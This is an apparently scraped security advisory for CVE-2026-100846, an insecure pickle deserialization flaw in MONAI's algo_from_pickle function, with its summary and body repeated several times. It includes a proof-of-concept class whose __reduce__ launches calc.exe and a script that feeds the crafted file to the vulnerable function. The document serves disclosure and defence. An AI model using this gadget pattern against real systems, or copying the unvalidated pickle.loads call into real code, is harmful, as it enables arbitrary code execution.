CVE-2026-100846

MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algo_from_pickle on an attacker-supplied pickle file, an object defining reduce is executed during deserialization, resulting in arbitrary code execution in the context of the application.

MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algo_from_pickle on an attacker-supplied pickle file, an object defining reduce is executed during deserialization, resulting in arbitrary code execution in the context of the application.

Summary

The algo_from_pickle function in monai/auto3dseg/utils.py causes pickle.loads(data_bytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.

Details

poc

import pickle
import subprocess
class MaliciousAlgo:
    def __reduce__(self):
        return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())

attack_data = {
    "algo_bytes": malicious_algo_bytes,  
     
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
    f.write(pickle.dumps(attack_data))

Generate the malicious file "attack_algo.pkl" through POC.

from monai.auto3dseg.utils import algo_from_pickle


attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)

Ultimately, it will trigger pickle.load through a file to identify the command execution.

<img width="909" height="534" alt="image" src="https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f" />

Causes of the vulnerability:

def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:

    with open(pkl_filename, "rb") as f_pi:
            data_bytes = f_pi.read()
        data = pickle.loads(data_bytes)

Impact

Arbitrary code execution

Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method

MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algo_from_pickle on an attacker-supplied pickle file, an object defining reduce is executed during deserialization, resulting in arbitrary code execution in the context of the application.

MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algo_from_pickle on an attacker-supplied pickle file, an object defining reduce is executed during deserialization, resulting in arbitrary code execution in the context of the application.

MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algo_from_pickle on an attacker-supplied pickle file, an object defining reduce is executed during deserialization, resulting in arbitrary code execution in the context of the application.

Summary

The algo_from_pickle function in monai/auto3dseg/utils.py causes pickle.loads(data_bytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.

Details

poc

import pickle
import subprocess
class MaliciousAlgo:
    def __reduce__(self):
        return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())

attack_data = {
    "algo_bytes": malicious_algo_bytes,  
     
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
    f.write(pickle.dumps(attack_data))

Generate the malicious file "attack_algo.pkl" through POC.

from monai.auto3dseg.utils import algo_from_pickle


attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)

Ultimately, it will trigger pickle.load through a file to identify the command execution.

<img width="909" height="534" alt="image" src="https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f" />

Causes of the vulnerability:

def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:

    with open(pkl_filename, "rb") as f_pi:
            data_bytes = f_pi.read()
        data = pickle.loads(data_bytes)

Impact

Arbitrary code execution

Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method

MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algo_from_pickle on an attacker-supplied pickle file, an object defining reduce is executed during deserialization, resulting in arbitrary code execution in the context of the application.